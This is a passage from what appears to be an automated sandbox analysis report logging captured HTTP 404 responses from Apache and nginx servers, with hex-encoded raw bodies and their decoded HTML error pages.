65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 09 Jul 2024 10:10:16 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 09 Jul 2024 10:10:19 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 09 Jul 2024 10:10:22 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 09 Jul 2024 10:10:30 GMTServer: ApacheContent-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 09 Jul 2024 10:10:35 GMTServer: ApacheContent-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 09 Jul 2024 10:11:09 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 09 Jul 2024 10:11:12 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 09 Jul 2024 10:11:14 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 09 Jul 2024 10:11:17 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 